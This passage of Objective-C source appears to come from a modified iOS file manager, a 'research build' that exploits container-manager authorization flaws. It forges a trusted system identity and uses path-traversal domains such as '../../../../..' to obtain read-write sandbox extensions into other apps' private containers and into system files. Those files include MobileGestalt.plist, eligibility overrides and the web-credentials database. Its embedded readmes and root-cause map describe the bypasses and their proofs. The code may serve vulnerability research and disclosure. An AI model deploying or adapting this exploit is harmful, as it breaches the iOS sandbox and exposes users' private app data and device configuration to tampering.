if ([result isEqualToString:@"/var"] || [result hasPrefix:@"/var/"])
|
|
result = [@"/private" stringByAppendingString:result];
|
|
return result;
|
|
}
|
|
|
|
static NSString *MCMRelativeSymlinkTarget(NSString *sourceDirectory,
|
|
NSString *absoluteTarget)
|
|
{
|
|
NSArray<NSString *> *source =
|
|
MCMCanonicalLexicalPath(sourceDirectory).pathComponents;
|
|
NSArray<NSString *> *target =
|
|
MCMCanonicalLexicalPath(absoluteTarget).pathComponents;
|
|
NSUInteger common = 0;
|
|
while (common < source.count && common < target.count &&
|
|
[source[common] isEqualToString:target[common]])
|
|
common++;
|
|
|
|
NSMutableArray<NSString *> *parts = [NSMutableArray array];
|
|
for (NSUInteger index = common; index < source.count; index++)
|
|
[parts addObject:@".."];
|
|
for (NSUInteger index = common; index < target.count; index++)
|
|
if (![target[index] isEqualToString:@"/"])
|
|
[parts addObject:target[index]];
|
|
return parts.count ? [parts componentsJoinedByString:@"/"] : @".";
|
|
}
|
|
|
|
static void MCMInstallFilesTraversalFolder(NSString *directory)
|
|
{
|
|
// Files has explicit home-relative authority for these roots on the
|
|
// audited iOS 27 build. The two parent entries are retained as best-effort
|
|
// boundary checks; a failed link open does not imply a broader primitive.
|
|
NSArray<NSDictionary *> *portals = @[
|
|
@{ @"Name": @"01 All Mobile Containers",
|
|
@"Target": @"/private/var/mobile/Containers" },
|
|
@{ @"Name": @"02 App Data",
|
|
@"Target": @"/private/var/mobile/Containers/Data/Application" },
|
|
@{ @"Name": @"03 Extension Data",
|
|
@"Target": @"/private/var/mobile/Containers/Data/PluginKitPlugin" },
|
|
@{ @"Name": @"04 VPN Data",
|
|
@"Target": @"/private/var/mobile/Containers/Data/VPNPlugin" },
|
|
@{ @"Name": @"05 Internal Daemon Data",
|
|
@"Target": @"/private/var/mobile/Containers/Data/InternalDaemon" },
|
|
@{ @"Name": @"06 System Data",
|
|
@"Target": @"/private/var/mobile/Containers/Data/System" },
|
|
@{ @"Name": @"07 Protected Data",
|
|
@"Target": @"/private/var/mobile/Containers/Data/Protected" },
|
|
@{ @"Name": @"08 App Groups",
|
|
@"Target": @"/private/var/mobile/Containers/Shared/AppGroup" },
|
|
@{ @"Name": @"09 Shortcuts",
|
|
@"Target": @"/private/var/mobile/Library/Shortcuts" },
|
|
@{ @"Name": @"10 Cloud Storage",
|
|
@"Target": @"/private/var/mobile/Library/CloudStorage" },
|
|
@{ @"Name": @"11 Mobile Documents",
|
|
@"Target": @"/private/var/mobile/Library/Mobile Documents" },
|
|
@{ @"Name": @"12 Live Files",
|
|
@"Target": @"/private/var/mobile/Library/LiveFiles" },
|
|
@{ @"Name": @"13 Mobile Library - Best Effort",
|
|
@"Target": @"/private/var/mobile/Library" },
|
|
@{ @"Name": @"14 Mobile Home - Best Effort",
|
|
@"Target": @"/private/var/mobile" },
|
|
];
|
|
|
|
NSMutableArray<NSDictionary *> *results = [NSMutableArray array];
|
|
for (NSDictionary *portal in portals) {
|
|
NSString *name = portal[@"Name"];
|
|
NSString *absoluteTarget = portal[@"Target"];
|
|
NSString *relativeTarget = MCMRelativeSymlinkTarget(directory,
|
|
absoluteTarget);
|
|
NSString *linkPath = [directory stringByAppendingPathComponent:name];
|
|
NSString *detail = nil;
|
|
BOOL created = MCMInstallExperimentalSymlink(linkPath, relativeTarget,
|
|
&detail);
|
|
NSMutableDictionary *result = [portal mutableCopy];
|
|
result[@"LinkPath"] = linkPath;
|
|
result[@"RelativeTarget"] = relativeTarget;
|
|
result[@"Created"] = @(created);
|
|
result[@"SourceAppTargetStatus"] =
|
|
MCMExperimentalPathStatus(absoluteTarget);
|
|
if (!created) result[@"Error"] = detail ?: @"link creation failed";
|
|
[results addObject:result];
|
|
NSLog(@"[MCMFilza] Files portal name=%@ relative=%@ created=%d detail=%@",
|
|
name, relativeTarget, created, detail);
|
|
}
|
|
|
|
NSString *readme = @"Files traversal portals\n\n"
|
|
@"Open these links through Apple Files, not through Filza:\n"
|
|
@"Files > On My iPhone > Filza Mod > Device Storage > Files Traversal\n\n"
|
|
@"Files resolves the relative links with its own authority. Filza remains sandboxed, so a portal can look blank or fail when opened inside Filza even when it works in Files.\n\n"
|
|
@"These links point to live data. Create, copy, rename, move, and delete operations in Files can change another app's real container. Viewing is safest. This folder does not install a .Trash link.\n\n"
|
|
@"Portal Results.plist records link targets and checks made by Filza itself. EPERM in SourceAppTargetStatus is expected and does not predict whether Files can open a portal. Best Effort entries may be rejected by Files.\n";
|
|
MCMWriteGeneratedString(readme,
|
|
[directory stringByAppendingPathComponent:@"README.txt"]);
|
|
MCMWriteGeneratedPropertyList(results, [directory
|
|
stringByAppendingPathComponent:@"Portal Results.plist"]);
|
|
}
|
|
|
|
static NSDictionary *MCMRunExperimentalProbe(NSString *directory,
|
|
NSDictionary *probe)
|
|
{
|
|
NSString *name = [probe[@"Name"] isKindOfClass:NSString.class]
|
|
? probe[@"Name"] : @"Unnamed Probe";
|
|
uint64_t containerClass = [probe[@"Class"] unsignedLongLongValue];
|
|
NSString *identifier = [probe[@"Identifier"] isKindOfClass:NSString.class]
|
|
? probe[@"Identifier"] : @"";
|
|
BOOL group = [probe[@"Group"] boolValue];
|
|
uint64_t part = [probe[@"Part"] unsignedLongLongValue];
|
|
uint64_t flags = [probe[@"Flags"] unsignedLongLongValue];
|
|
NSString *partDomain = [probe[@"PartDomain"] isKindOfClass:NSString.class]
|
|
? probe[@"PartDomain"] : nil;
|
|
NSArray *expected = [probe[@"Expected"] isKindOfClass:NSArray.class]
|
|
? probe[@"Expected"] : @[];
|
|
NSString *linkPath = [directory stringByAppendingPathComponent:name];
|
|
|
|
NSMutableDictionary *result = [probe mutableCopy];
|
|
result[@"FlagsHex"] = [NSString stringWithFormat:@"0x%llx", flags];
|
|
[result removeObjectForKey:@"Flags"];
|
|
NSString *detail = nil;
|
|
NSString *target = MCMActivateScoped(containerClass, identifier, group,
|
|
part, partDomain, flags, &detail);
|
|
if (!target) {
|
|
MCMRemoveStaleExperimentalLink(linkPath);
|
|
result[@"Status"] = @"failed";
|
|
result[@"Error"] = detail ?: @"activation failed";
|
|
return result;
|
|
}
|
|
|
|
result[@"ReturnedPath"] = target;
|
|
result[@"ReturnedPathStatus"] = MCMExperimentalPathStatus(target);
|
|
NSMutableArray *expectedStatuses = [NSMutableArray array];
|
|
for (id relativeValue in expected) {
|
|
if (![relativeValue isKindOfClass:NSString.class]) continue;
|
|
NSString *relative = relativeValue;
|
|
NSString *expectedPath = [target stringByAppendingPathComponent:relative];
|
|
NSMutableDictionary *expectedStatus =
|
|
[MCMExperimentalPathStatus(expectedPath) mutableCopy];
|
|
expectedStatus[@"RelativePath"] = relative;
|
|
[expectedStatuses addObject:expectedStatus];
|
|
}
|
|
result[@"ExpectedPathStatus"] = expectedStatuses;
|
|
|
|
NSString *linkError = nil;
|
|
BOOL linked = MCMInstallExperimentalSymlink(linkPath, target, &linkError);
|
|
result[@"Status"] = linked ? @"linked" : @"failed";
|
|
result[@"LinkPath"] = linkPath;
|
|
if (!linked) result[@"Error"] = linkError ?: @"link creation failed";
|
|
NSLog(@"[MCMFilza] experimental name=%@ class=%llu id=%@ part=%llu domain=%@ status=%@ target=%@ error=%@",
|
|
name, containerClass, identifier, part, partDomain,
|
|
result[@"Status"], target, result[@"Error"]);
|
|
return result;
|
|
}
|
|
|
|
static void MCMInstallExperimentalFolder(NSString *directory)
|
|
{
|
|
NSFileManager *manager = NSFileManager.defaultManager;
|
|
NSArray<NSArray<NSString *> *> *nameMigrations = @[
|
|
@[@"01 Install Coordination", @"01 [MHA-C13] Install Coordination"],
|
|
@[@"02 MobileGestalt Cache", @"02 [MHA-C13] MobileGestalt Cache"],
|
|
@[@"03 Eligibility Overrides", @"03 [MHA-C12] Eligibility Overrides"],
|
|
@[@"04 App Managed Data", @"04 [MHA-C15] App Managed Data"],
|
|
@[@"05 Configuration Profiles Root",
|
|
@"05 [MHA-C13] Configuration Profiles Root"],
|
|
@[@"06 Shared Web Credentials Root",
|
|
@"06 [MHA-C10] Shared Web Credentials Root"],
|
|
@[@"07 System Data Library Control",
|
|
@"07 [MHA-C12] System Data Library Control"],
|
|
@[@"08 MobileGestalt via System Data",
|
|
@"08 [MHA-C12] MobileGestalt via System Data"],
|
|
];
|
|
for (NSArray<NSString *> *migration in nameMigrations)
|
|
MCMMigrateStorageEntry(manager, directory, migration[0], migration[1]);
|
|
|
|
NSArray<NSDictionary *> *probes = @[
|
|
@{
|
|
@"Name": @"01 [MHA-C13] Install Coordination",
|
|
@"Class": @13,
|
|
@"Identifier": @"systemgroup.com.apple.installcoordinationd",
|
|
@"Group": @YES,
|
|
@"Part": @3,
|
|
@"PartDomain": @"../InstallCoordination",
|
|
@"Flags": @(kMCMReadWritePartFlags),
|
|
@"Expected": @[@"Coordinators", @"DataPromises",
|
|
@"PromiseStaging"],
|
|
},
|
|
@{
|
|
@"Name": @"02 [MHA-C13] MobileGestalt Cache",
|
|
@"Class": @13,
|
|
@"Identifier": @"systemgroup.com.apple.mobilegestaltcache",
|
|
@"Group": @YES,
|
|
@"Part": @3,
|
|
@"Flags": @(kMCMReadWritePartFlags),
|
|
@"Expected": @[@"com.apple.MobileGestalt.plist"],
|
|
},
|
|
@{
|
|
@"Name": @"03 [MHA-C12] Eligibility Overrides",
|
|
@"Class": @12,
|
|
@"Identifier": @"com.apple.eligibilityd",
|
|
@"Group": @NO,
|
|
@"Part": @3,
|
|
@"PartDomain": @"NeverRestore",
|
|
@"Flags": @(kMCMReadWritePartFlags),
|
|
@"Expected": @[@"eligibility_overrides.data"],
|
|
},
|
|
@{
|
|
@"Name": @"04 [MHA-C15] App Managed Data",
|
|
@"Class": @15,
|
|
@"Identifier": @"com.apple.appmanagedfeaturesd",
|
|
@"Group": @NO,
|
|
@"Part": @0,
|
|
@"Flags": @(kMCMReadWritePartFlags),
|
|
@"Expected": @[
|
|
@"com.apple.appmanagedfeaturesd/ConfigurationPersistence",
|
|
@"com.apple.appmanagedfeaturesd/Archive/ConfigurationPersistence",
|
|
],
|
|
},
|
|
@{
|
|
@"Name": @"05 [MHA-C13] Configuration Profiles Root",
|
|
@"Class": @13,
|
|
@"Identifier": @"systemgroup.com.apple.configurationprofiles",
|
|
@"Group": @YES,
|
|
@"Part": @0,
|
|
@"Flags": @(kMCMReadWritePartFlags),
|
|
@"Expected": @[
|
|
@"Library/ConfigurationProfiles/PayloadManifest.plist",
|
|
],
|
|
},
|
|
@{
|
|
@"Name": @"06 [MHA-C10] Shared Web Credentials Root",
|
|
@"Class": @10,
|
|
@"Identifier": @"com.apple.swcd",
|
|
@"Group": @NO,
|
|
@"Part": @0,
|
|
@"Flags": @(kMCMFlags),
|
|
@"Expected": @[@"com.apple.SharedWebCredentials/swc.db"],
|
|
},
|
|
@{
|
|
@"Name": @"07 [MHA-C12] System Data Library Control",
|
|
@"Class": @12,
|
|
@"Identifier": @"com.apple.geod",
|
|
@"Group": @NO,
|
|
@"Part": @3,
|
|
@"PartDomain": @"..",
|
|
@"Flags": @(kMCMReadWritePartFlags),
|
|
@"Expected": @[@"Caches", @"Preferences"],
|
|
},
|
|
@{
|
|
@"Name": @"08 [MHA-C12] MobileGestalt via System Data",
|
|
@"Class": @12,
|
|
@"Identifier": @"com.apple.geod",
|
|
@"Group": @NO,
|
|
@"Part": @3,
|
|
@"PartDomain": @"../../../../../../containers/Shared/SystemGroup/"
|
|
@"systemgroup.com.apple.mobilegestaltcache/Library/Caches",
|
|
@"Flags": @(kMCMReadWritePartFlags),
|
|
@"Expected": @[@"com.apple.MobileGestalt.plist"],
|
|
},
|
|
];
|
|
|
|
NSMutableArray<NSDictionary *> *results = [NSMutableArray array];
|
|
for (NSDictionary *probe in probes)
|
|
[results addObject:MCMRunExperimentalProbe(directory, probe)];
|
|
|
|
NSString *readme = @"Experimental consumer traversal\n\n"
|
|
@"MHA means the MobileHouseArrest identity-trust bypass. C10, C12, C13, and C15 identify the ContainerManager class used by each link.\n"
|
|
@"These are fixed launch-time probes for daemon-consumed files found during the class 10/12/13/15 audit.\n"
|
|
@"A link appears only after ContainerManager returns a token, activation succeeds, and the returned directory opens read-only.\n"
|
|
@"Probe setup does not create or modify target files. The custom Filza copy/paste route is disabled inside this folder.\n"
|
|
@"The links still point at live directories; do not edit a candidate unless you have separately backed it up and planned an exact restore.\n\n"
|
|
@"Probe Results.plist records failed queries and the read/write/open status of each expected consumer path.\n";
|
|
MCMWriteGeneratedString(readme,
|
|
[directory stringByAppendingPathComponent:@"README.txt"]);
|
|
MCMWriteGeneratedPropertyList(results, [directory
|
|
stringByAppendingPathComponent:@"Probe Results.plist"]);
|
|
}
|
|
|
|
static BOOL MCMLaunchServicesIdentifierByte(uint8_t value)
|
|
{
|
|
return (value >= 'a' && value <= 'z') ||
|
|
(value >= 'A' && value <= 'Z') ||
|
|
(value >= '0' && value <= '9') ||
|
|
value == '.' || value == '-' || value == '_';
|
|
}
|
|
|
|
static NSArray<NSString *> *MCMExpectedIdentifiersFromEnvironment(void)
|
|
{
|
|
const char *value = getenv("FILZA_MCM_EXPECT_IDENTIFIERS");
|
|
if (!value || !value[0]) return @[];
|
|
NSString *joined = [NSString stringWithUTF8String:value];
|
|
NSMutableOrderedSet<NSString *> *result = [NSMutableOrderedSet orderedSet];
|
|
for (NSString *identifier in [joined componentsSeparatedByString:@","])
|
|
if (MCMSafeIdentifier(identifier)) [result addObject:identifier];
|
|
return result.array;
|
|
}
|
|
|
|
static void MCMLogExpectedIdentifierCoverage(NSString *label,
|
|
NSSet<NSString *> *actual)
|
|
{
|
|
NSArray<NSString *> *expected = MCMExpectedIdentifiersFromEnvironment();
|
|
if (expected.count == 0) return;
|
|
NSMutableArray<NSString *> *missing = [NSMutableArray array];
|
|
for (NSString *identifier in expected)
|
|
if (![actual containsObject:identifier]) [missing addObject:identifier];
|
|
NSLog(@"[MCMFilza] %@ expected=%lu matched=%lu missing=%@", label,
|
|
(unsigned long)expected.count,
|
|
(unsigned long)(expected.count - missing.count), missing);
|
|
}
|
|
|
|
static void MCMResetAppLinksForTesting(NSString *directory)
|
|
{
|
|
if (!getenv("FILZA_MCM_RESET_APP_LINKS")) return;
|
|
NSFileManager *manager = NSFileManager.defaultManager;
|
|
for (NSString *name in [manager contentsOfDirectoryAtPath:directory error:nil] ?: @[]) {
|
|
NSString *path = [directory stringByAppendingPathComponent:name];
|
|
struct stat status = {0};
|
|
if (lstat(path.fileSystemRepresentation, &status) == 0 &&
|
|
S_ISLNK(status.st_mode))
|
|
unlink(path.fileSystemRepresentation);
|
|
}
|
|
NSLog(@"[MCMFilza] reset App Data links for test");
|
|
}
|
|
|
|
static NSArray<NSString *> *MCMLaunchServicesStoreIdentifiers(void)
|
|
{
|
|
static const NSUInteger kMaximumCandidateCount = 65536;
|
|
NSString *error = nil;
|
|
NSString *container = MCMActivate(10, @"com.apple.lsd", NO, &error);
|
|
if (!container.length) {
|
|
NSLog(@"[MCMFilza] LaunchServices store unavailable detail=%@", error);
|
|
return @[];
|
|
}
|
|
NSString *caches = [container stringByAppendingPathComponent:@"Library/Caches"];
|
|
NSArray<NSString *> *names = [NSFileManager.defaultManager
|
|
contentsOfDirectoryAtPath:caches error:nil];
|
|
NSMutableOrderedSet<NSString *> *result = [NSMutableOrderedSet orderedSet];
|
|
BOOL reachedLimit = NO;
|
|
for (NSString *name in names ?: @[]) {
|
|
if (![name hasPrefix:@"com.apple.LaunchServices-"] ||
|
|
![name hasSuffix:@"-v2.csstore"])
|
|
continue;
|
|
NSString *path = [caches stringByAppendingPathComponent:name];
|
|
NSNumber *size = [[NSFileManager.defaultManager attributesOfItemAtPath:path
|
|
error:nil] objectForKey:NSFileSize];
|
|
if (!size || size.unsignedLongLongValue == 0 ||
|
|
size.unsignedLongLongValue > 64 * 1024 * 1024)
|
|
continue;
|
|
NSError *readError = nil;
|
|
NSData *data = [NSData dataWithContentsOfFile:path
|
|
options:NSDataReadingMappedIfSafe error:&readError];
|
|
if (!data) {
|
|
NSLog(@"[MCMFilza] LaunchServices store read failed path=%@ error=%@",
|
|
path, readError);
|
|
continue;
|
|
}
|
|
const uint8_t *bytes = data.bytes;
|
|
NSUInteger start = NSNotFound;
|
|
for (NSUInteger index = 0; index <= data.length; index++) {
|
|
BOOL allowed = index < data.length &&
|
|
MCMLaunchServicesIdentifierByte(bytes[index]);
|
|
if (allowed) {
|
|
if (start == NSNotFound) start = index;
|
|
continue;
|
|
}
|
|
if (start == NSNotFound) continue;
|
|
NSUInteger length = index - start;
|
|
if (length >= 3 && length <= 255) {
|
|
NSString *identifier = [[NSString alloc]
|
|
initWithBytes:bytes + start length:length
|
|
encoding:NSUTF8StringEncoding];
|
|
BOOL malformedDots = [identifier containsString:@".."];
|
|
BOOL looksLikeIdentifier = MCMSafeIdentifier(identifier) &&
|
|
[identifier containsString:@"."] &&
|
|
![identifier hasPrefix:@"."] &&
|
|
![identifier hasSuffix:@"."] && !malformedDots;
|
|
if (looksLikeIdentifier) {
|
|
[result addObject:identifier];
|
|
if (result.count >= kMaximumCandidateCount) {
|
|
reachedLimit = YES;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
start = NSNotFound;
|
|
}
|
|
NSLog(@"[MCMFilza] LaunchServices store path=%@ bytes=%lu candidates=%lu",
|
|
path, (unsigned long)data.length, (unsigned long)result.count);
|
|
if (reachedLimit) break;
|
|
}
|
|
if (reachedLimit)
|
|
NSLog(@"[MCMFilza] LaunchServices store candidate limit reached");
|
|
NSLog(@"[MCMFilza] LaunchServices store total candidates=%lu",
|
|
(unsigned long)result.count);
|
|
MCMLogExpectedIdentifierCoverage(@"LaunchServices store",
|
|
[NSSet setWithArray:result.array]);
|
|
return result.array;
|
|
}
|
|
|
|
static NSArray<NSString *> *MCMInstalledApplicationIdentifiers(void)
|
|
{
|
|
Class workspaceClass = NSClassFromString(@"LSApplicationWorkspace");
|
|
id workspace = [workspaceClass respondsToSelector:@selector(defaultWorkspace)]
|
|
? [workspaceClass defaultWorkspace] : nil;
|
|
NSArray *applications = [workspace respondsToSelector:@selector(allApplications)]
|
|
? [workspace allApplications] : @[];
|
|
NSMutableOrderedSet<NSString *> *result = [NSMutableOrderedSet orderedSet];
|
|
for (id proxy in applications) {
|
|
NSString *identifier = [proxy respondsToSelector:@selector(applicationIdentifier)]
|
|
? [proxy applicationIdentifier] : nil;
|
|
if (!MCMSafeIdentifier(identifier) &&
|
|
[proxy respondsToSelector:@selector(bundleIdentifier)])
|
|
identifier = [proxy bundleIdentifier];
|
|
if (MCMSafeIdentifier(identifier)) [result addObject:identifier];
|
|
if (result.count >= 1024) break;
|
|
}
|
|
|
|
return result.array;
|
|
}
|
|
|
|
static NSArray<NSString *> *MCMResearchTargetIdentifiers(void)
|
|
{
|
|
// Enumeration via container_query_iterate_results_sync returns near-empty
|
|
// results on iOS 26 even though direct lookups succeed. Seed all known
|
|
// first-party identifiers so the MHA bypass can resolve them by name.
|
|
return @[
|
|
@"com.apple.mobilesafari",
|
|
@"com.apple.mobilenotes",
|
|
@"com.apple.Maps",
|
|
@"com.apple.facetime",
|
|
@"com.apple.iBooks",
|
|
@"com.apple.podcasts",
|
|
@"com.apple.PosterBoard",
|
|
@"com.apple.mobilemail",
|
|
@"com.apple.weather",
|
|
@"com.apple.camera",
|
|
@"com.apple.Health",
|
|
@"com.apple.Fitness",
|
|
@"com.apple.tips",
|
|
@"com.apple.Passbook",
|
|
@"com.apple.reminders",
|
|
@"com.apple.stocks",
|
|
@"com.apple.news",
|
|
@"com.apple.Home",
|
|
@"com.apple.tv",
|
|
@"com.apple.shortcuts",
|
|
@"com.apple.freeform",
|
|
@"com.apple.calculator",
|
|
@"com.apple.MobileSMS",
|
|
@"com.apple.InCallService",
|
|
@"com.apple.Preferences",
|
|
@"com.apple.springboard",
|
|
@"com.apple.Photos",
|
|
@"com.apple.AppStore",
|
|
@"com.apple.Music",
|
|
@"com.apple.Bridge",
|
|
@"com.apple.Clock",
|
|
@"com.apple.VoiceMemos",
|
|
@"com.apple.Translate",
|
|
@"com.apple.measure",
|
|
@"com.apple.compass",
|
|
@"com.apple.Magnifier",
|
|
@"com.apple.DocumentsApp",
|
|
];
|
|
}
|
|
|
|
static NSArray<NSString *> *MCMCustomIdentifierKeys(void)
|
|
{
|
|
return @[
|
|
@"AppData",
|
|
@"AppGroups",
|
|
@"ExtensionData",
|
|
@"VPNData",
|
|
@"ServiceData",
|
|
@"SystemData",
|
|
@"SystemGroups",
|
|
@"ProtectedData",
|
|
];
|
|
}
|
|
|
|
static NSArray<NSString *> *MCMDynamicIdentifiers(uint64_t containerClass)
|
|
{
|
|
NSString *error = nil;
|
|
NSArray *identifiers = MCMEnumerateIdentifiersForClass(containerClass, 1024, &error);
|
|
NSLog(@"[MCMFilza] discovery class=%llu count=%lu detail=%@", containerClass,
|
|
(unsigned long)identifiers.count, error);
|
|
NSMutableArray *safe = [NSMutableArray arrayWithCapacity:identifiers.count];
|
|
for (NSString *identifier in identifiers)
|
|
if (MCMSafeIdentifier(identifier)) [safe addObject:identifier];
|
|
return safe;
|
|
}
|
|
|
|
static NSDictionary *MCMCustomIdentifiers(void)
|
|
{
|
|
if (getenv("FILZA_MCM_IGNORE_CUSTOM_IDENTIFIERS")) {
|
|
NSMutableDictionary *empty = [NSMutableDictionary dictionary];
|
|
for (NSString *key in MCMCustomIdentifierKeys()) empty[key] = @[];
|
|
return empty;
|
|
}
|
|
NSString *documentsPath = [MCMFilzaVirtualRoot().stringByDeletingLastPathComponent
|
|
stringByAppendingPathComponent:@"MCMIdentifiers.plist"];
|
|
NSString *bundlePath = [NSBundle.mainBundle pathForResource:@"MCMIdentifiers"
|
|
ofType:@"plist"];
|
|
NSMutableDictionary *merged = [NSMutableDictionary dictionary];
|
|
for (NSString *key in MCMCustomIdentifierKeys())
|
|
merged[key] = [NSMutableOrderedSet orderedSet];
|
|
for (NSString *path in @[bundlePath ?: @"", documentsPath]) {
|
|
NSDictionary *value = [NSDictionary dictionaryWithContentsOfFile:path];
|
|
if (![value isKindOfClass:NSDictionary.class]) continue;
|
|
for (NSString *key in merged) {
|
|
NSArray *identifiers = [value[key] isKindOfClass:NSArray.class] ? value[key] : @[];
|
|
for (id identifier in identifiers)
|
|
if ([identifier isKindOfClass:NSString.class] && MCMSafeIdentifier(identifier))
|
|
[merged[key] addObject:identifier];
|
|
}
|
|
}
|
|
for (NSString *key in MCMCustomIdentifierKeys())
|
|
merged[key] = [merged[key] array];
|
|
return merged;
|
|
}
|
|
|
|
static void MCMWriteInstructions(void)
|
|
{
|
|
NSString *path = [MCMFilzaVirtualRoot() stringByAppendingPathComponent:@"README.txt"];
|
|
NSString *text = @"Device storage research build\n\n"
|
|
@"MHA means the MobileHouseArrest identity-trust bypass. C2 through C15 identify the ContainerManager class used by each folder.\n"
|
|
@"[MHA-C2] App Data contains class-2 containers resolved from installed app identifiers.\n"
|
|
@"These are live private containers, not copies. Filza edits affect the target app.\n"
|
|
@"[MHA-Mixed EXP] Experimental contains fixed consumer traversal probes and records failures in Probe Results.plist.\n"
|
|
@"The custom copy/paste route is disabled there, but successful links still point to live directories.\n"
|
|
@"This build does not provide root, kernel R/W, arbitrary /var, Keychain, TCC, or app-bundle access.\n\n"
|
|
@"Optional target configuration is documented in the research source repository.\n";
|
|
MCMWriteGeneratedString(text, path);
|
|
}
|
|
|
|
static NSArray<NSDictionary<NSString *, NSString *> *> *
|
|
MCMSymlinkAccessEntries(NSFileManager *manager, NSString *directory)
|
|
{
|
|
NSArray<NSString *> *names = [[manager contentsOfDirectoryAtPath:directory
|
|
error:nil]
|
|
sortedArrayUsingSelector:@selector(localizedStandardCompare:)];
|
|
NSMutableArray<NSDictionary<NSString *, NSString *> *> *entries =
|
|
[NSMutableArray array];
|
|
for (NSString *name in names ?: @[]) {
|
|
NSString *path = [directory stringByAppendingPathComponent:name];
|
|
struct stat status = {0};
|
|
if (lstat(path.fileSystemRepresentation, &status) != 0 ||
|
|
!S_ISLNK(status.st_mode))
|
|
continue;
|
|
|
|
char target[PATH_MAX] = {0};
|
|
ssize_t count = readlink(path.fileSystemRepresentation, target,
|
|
sizeof(target) - 1);
|
|
if (count <= 0) continue;
|
|
target[count] = '\0';
|
|
NSString *targetPath = [NSString stringWithUTF8String:target];
|
|
if (targetPath.length == 0) continue;
|
|
[entries addObject:@{@"Name": name, @"Target": targetPath}];
|
|
}
|
|
return entries;
|
|
}
|
|
|
|
static void MCMAppendSymlinkAccess(NSMutableString *text,
|
|
NSArray<NSDictionary<NSString *, NSString *> *> *entries)
|
|
{
|
|
if (entries.count == 0) {
|
|
[text appendString:@"Enabled roots: none.\n"];
|
|
return;
|
|
}
|
|
[text appendString:@"Enabled roots:\n"];
|
|
for (NSDictionary<NSString *, NSString *> *entry in entries) {
|
|
[text appendFormat:@"• %@\n root: %@\n",
|
|
entry[@"Name"], entry[@"Target"]];
|
|
}
|
|
[text appendString:
|
|
@"The sandbox extension covers each listed root. Descendant access still depends on filesystem and Data Protection controls.\n"];
|
|
}
|
|
|
|
static void MCMAppendExperimentalSubpaths(NSMutableString *text,
|
|
NSString *experimentalDirectory)
|
|
{
|
|
NSString *resultsPath = [experimentalDirectory
|
|
stringByAppendingPathComponent:@"Probe Results.plist"];
|
|
NSArray<NSDictionary *> *results = [NSArray arrayWithContentsOfFile:resultsPath];
|
|
if (results.count == 0) return;
|
|
|
|
[text appendString:@"\nExperimental returned paths and checked subpaths:\n"];
|
|
for (NSDictionary *result in results) {
|
|
NSString *name = [result[@"Name"] isKindOfClass:NSString.class]
|
|
? result[@"Name"] : @"Unnamed probe";
|
|
NSString *returnedPath = [result[@"ReturnedPath"] isKindOfClass:NSString.class]
|
|
? result[@"ReturnedPath"] : nil;
|
|
[text appendFormat:@"• %@ — status=%@\n", name,
|
|
result[@"Status"] ?: @"unknown"];
|
|
if (returnedPath.length > 0)
|
|
[text appendFormat:@" returned root: %@\n", returnedPath];
|
|
|
|
NSArray<NSDictionary *> *subpaths =
|
|
[result[@"ExpectedPathStatus"] isKindOfClass:NSArray.class]
|
|
? result[@"ExpectedPathStatus"] : @[];
|
|
for (NSDictionary *subpath in subpaths) {
|
|
NSString *path = [subpath[@"Path"] isKindOfClass:NSString.class]
|
|
? subpath[@"Path"] : @"<unknown>";
|
|
[text appendFormat:
|
|
@" checked subpath: %@ — exists=%@ readable=%@ writable=%@ open=%@\n",
|
|
path,
|
|
[subpath[@"Exists"] boolValue] ? @"yes" : @"no",
|
|
[subpath[@"Readable"] boolValue] ? @"yes" : @"no",
|
|
[subpath[@"Writable"] boolValue] ? @"yes" : @"no",
|
|
[subpath[@"ReadOnlyOpen"] boolValue] ? @"yes" : @"no"];
|
|
}
|
|
}
|
|
}
|
|
|
|
static void MCMWriteAccessReadme(NSFileManager *manager, NSString *directory,
|
|
NSString *text)
|
|
{
|
|
BOOL isDirectory = NO;
|
|
if (![manager fileExistsAtPath:directory isDirectory:&isDirectory] ||
|
|
!isDirectory)
|
|
return;
|
|
NSString *path = [directory
|
|
stringByAppendingPathComponent:@"README - Access.txt"];
|
|
MCMWriteGeneratedString(text, path);
|
|
}
|
|
|
|
static void MCMAppendUnifiedFindingMap(NSMutableString *map)
|
|
{
|
|
[map appendString:
|
|
@"Root-cause map\n\n"
|
|
"Issue A — MobileHouseArrest identity-trust bypass\n"
|
|
"Component: MobileContainerManager and containermanagerd.\n"
|
|
"Trigger: the app has the signed code identifier com.apple.mobile.MobileHouseArrest.\n"
|
|
"Primitive: MobileContainerManager accepts that caller identity and issues foreign-container sandbox extensions.\n"
|
|
"Current 24A5390f proof: class-2 Safari, class-2 Notes, and class-7 Notes-group roots passed token activation and readdir. The stock-identity control denied all three targets. A nonexistent target was denied.\n"
|
|
"Relation: the labeled Filza folders below use this one identity-trust bypass with different container classes.\n\n"
|
|
|
|
"Issue B — built-in class-12 geod lookup and part-domain traversal\n"
|
|
"Component: MobileContainerManager and containermanagerd.\n"
|
|
"Trigger: class 12 with identifier com.apple.geod. ContainerManagerCommon includes geod in its built-in lookup-bypass list.\n"
|
|
"Current 24A5390f proof: container_system_path_for_identifier returned /private/var/containers/Data/System/com.apple.geod, and readdir listed Documents, Library, tmp, and the metadata plist. Opening the metadata plist still failed with EPERM.\n"
|
|
"Archived 24A5380h proof: class 12, part 3, flags 0x8100000000, and a traversal part-domain reached the MobileGestalt Caches directory. A 275-byte read-write extension allowed a chosen plist marker. The test restored the original inode and SHA-256.\n"
|
|
"Relation: this route does not require the MobileHouseArrest identity. The geod allow path and unchecked part-domain are separate authorization defects.\n\n"
|
|
|
|
"Issue C — class-13 well-known MobileGestalt group authorization gap\n"
|
|
"Component: MobileContainerManager and containermanagerd.\n"
|
|
"Trigger: class 13, group systemgroup.com.apple.mobilegestaltcache, part 3, and flags 0x8100000000.\n"
|
|
"Target root: /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches\n"
|
|
"Target file: /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist\n"
|
|
"Archived 24A5380h proof: an ordinary sandboxed caller received a 275-byte read-write extension. The caller installed a chosen CodexMCMWriteProof marker, verified the bytes, and restored the original inode and SHA-256.\n"
|
|
"Current 24A5390f boundary: simple system-group path and class-13 queries were denied. Those simple queries did not repeat the archived part-3 read-write request.\n"
|
|
"Relation: this authorization gap is separate from the MobileHouseArrest identity-trust bypass.\n\n"
|
|
|
|
"Rejected route — raw ProxyForClient spoof\n"
|
|
"Current 24A5390f proof: raw containermanagerd command 39 rejected MobileHouseArrest, mobile_installation_proxy, filecoordinationd, accountsd, and Safari.History identities. No reply contained a container path or sandbox token.\n\n"
